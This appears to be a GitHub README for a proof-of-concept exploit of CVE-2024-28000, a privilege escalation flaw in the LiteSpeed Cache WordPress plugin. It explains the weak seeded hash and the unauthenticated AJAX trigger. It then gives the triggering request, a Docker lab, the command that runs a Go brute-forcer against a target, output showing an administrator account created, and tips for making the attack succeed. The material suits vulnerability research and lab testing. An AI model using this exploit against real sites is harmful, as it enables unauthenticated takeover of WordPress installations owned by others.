[!WARNING] This repository is intended for educational and research purposes only.
- Use the provided PoC exclusively on systems you own or have explicit permission to test.
- Unauthorized access, exploitation, or misuse of any material in this repository is illegal.
- The author(s) assume no responsibility for any damages, misuse, or legal consequences resulting from improper use.
CVE-2024-28000 is a critical unauthenticated privilege escalation vulnerability affecting the LiteSpeed Cache plugin for WordPress. The vulnerability stems from a weak hash-based authentication mechanism in the plugin's crawler role simulation feature, allowing a completely unauthenticated attacker to impersonate a WordPress administrator and take full control of the site.
The LiteSpeed Cache plugin includes a crawler that pre-warms the site cache by visiting pages as different user roles. To authenticate the crawler, the plugin generates a short hash and stores it in the WordPress options table. Any request that presents this hash in a cookie is granted the user role specified in a second cookie.
Three design flaws combine to make this exploitable:
The AJAX action that generates the hash is registered for unauthenticated users with no capability or nonce check:
// src/router.cls.php
add_action('wp_ajax_nopriv_async_litespeed', [$this, 'async_litespeed_handler']);
public function async_litespeed_handler() {
// No capability check
// No nonce verification
// Any visitor can call this
$type = sanitize_key($_POST['litespeed_type'] ?? '');
if ($type === 'crawler') {
$hash = Str::rrand(6);
self::update_option(self::ITEM_HASH, $hash);
}
wp_die();
}
An attacker triggers this by sending:
POST /wp-admin/admin-ajax.php
action=async_litespeed&litespeed_type=crawler
The hash is generated using PHP's mt_rand() seeded with the microsecond component of the current time:
// src/str.cls.php
public static function rrand($len, $type = 7) {
mt_srand((int) ((float) microtime() * 1000000));
// seed = microseconds = 0 to 999,999 only
$charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$str = '';
for ($i = 0; $i < $len; $i++) {
$str .= $charlist[mt_rand(0, strlen($charlist) - 1)];
}
return $str;
}
microtime() returns only the fractional second (e.g. 0.523847). Multiplied by 1,000,000, this yields a seed between 0 and 999,999 - regardless of the time of day. An attacker who triggers hash generation themselves knows the approximate generation time, and can brute-force all 1 million seeds in minutes.
The plugin verifies the hash on every request with a simple string comparison and no lockout or rate limiting:
// src/router.cls.php
public function is_role_simulation() {
if (empty($_COOKIE['litespeed_hash'])) return;
$hash = self::get_option(self::ITEM_HASH);
// Simple string compare - no rate limiting, no IP check, no lockout
if ($_COOKIE['litespeed_hash'] !== $hash) return;
$role_id = isset($_COOKIE['litespeed_role']) ? (int)$_COOKIE['litespeed_role'] : 0;
wp_set_current_user($role_id); // attacker becomes admin (ID = 1)
}
sequenceDiagram
participant A as Attacker
participant W as LiteSpeed Cache / WordPress
A->>W: POST /wp-admin/admin-ajax.php
W->>W: Seed mt_rand() with microtime()
W->>W: Generate & store litespeed_hash
A->>A: Brute-force PRNG seed
A->>A: Replicate PHP mt_rand() in Go
A->>A: Recover litespeed_hash
A->>W: Cookie: litespeed_hash=<recovered_hash>
A->>W: Cookie: litespeed_role=1
W->>W: verify_hash()
W->>W: wp_set_current_user(1)
A->>W: POST /index.php?rest_route=/wp/v2/users
W-->>A: Administrator account created
A->>W: Login with new Administrator account
Note over A,W: Full Site Compromise# Clone the repository
git clone https://github.com/AliHzSec/CVE-2024-28000.git
# Change directory
cd CVE-2024-28000
# Set your server IP ( replace with YOUR_ACTUAL_IP ):
sed -i 's/YOUR_SERVER_IP/YOUR_ACTUAL_IP/g' lab/docker-compose.yml
# Build and start:
cd lab && docker compose up -d --build
# Watch setup progress:
docker compose logs -f wordpress
Wait until you see:
============================================================
Lab ready!
Admin : http://YOUR_IP/wp-admin
Login : admin / admin123
Plugin : LiteSpeed Cache 6.3.0.1 (CVE-2024-28000)
============================================================
cd expl && go run main.go -url http://TARGET_IP/ -threads 40
============================================================
CVE-2024-28000 - LiteSpeed Cache Privilege Escalation PoC
============================================================
Target : https://TARGET_IP/
Seeds : 0 to 999999 (1000000 total)
Threads : 40
Timeout : 5s
============================================================
[INF] Self-test passed - MT19937 output matches PHP (11 seeds verified)
[INF] Sanity check passed - endpoint returns 401 for wrong hash
[INF] Hash generation triggered successfully
[INF] Waiting 1 second for hash to be stored...
[INF] Starting brute-force with 40 threads...
[INF] [Thread 5] Testing seed 100000
[INF] [Thread 7] Testing seed 150000
[INF] [Thread 9] Testing seed 200000
[INF] [Thread 3] Testing seed 50000
[INF] [Thread 27] Testing seed 650000
[INF] [Thread 25] Testing seed 600000
[INF] [Thread 11] Testing seed 250000
[INF] [Thread 21] Testing seed 500000
[INF] [Thread 17] Testing seed 400000
[INF] [Thread 19] Testing seed 450000
[INF] [Thread 13] Testing seed 300000
[INF] [Thread 31] Testing seed 750000
[INF] [Thread 15] Testing seed 350000
[INF] [Thread 1] Testing seed 0
[INF] [Thread 33] Testing seed 800000
[INF] [Thread 23] Testing seed 550000
[INF] [Thread 37] Testing seed 900000
[INF] [Thread 39] Testing seed 950000
[INF] [Thread 35] Testing seed 850000
[INF] [Thread 29] Testing seed 700000
[+] Hash cracked : 2M0Aty (seed: 554242)
[+] Username : test_lab_user
[+] Password : test_lab_pass
[+] Login at : https://TARGET_IP/wp-login.php
[INF] Completed in 2831.14s
[!IMPORTANT] The hash has no expiry, but it can be regenerated by LiteSpeed's built-in crawler.
- If the crawler is active (default interval: every 10 minutes), the hash stored in the database will be replaced automatically - causing the brute-force to fail since it is testing seeds for the old hash.
- If the crawler is disabled, the hash persists indefinitely and thread count only affects speed, not success.
- To maximize success rate: trigger the hash generation and run the exploit immediately, with as many threads as the target can handle.
- Signs that the hash was rotated mid-attack: all 1,000,000 seeds are exhausted with no result despite the sanity check passing at startup.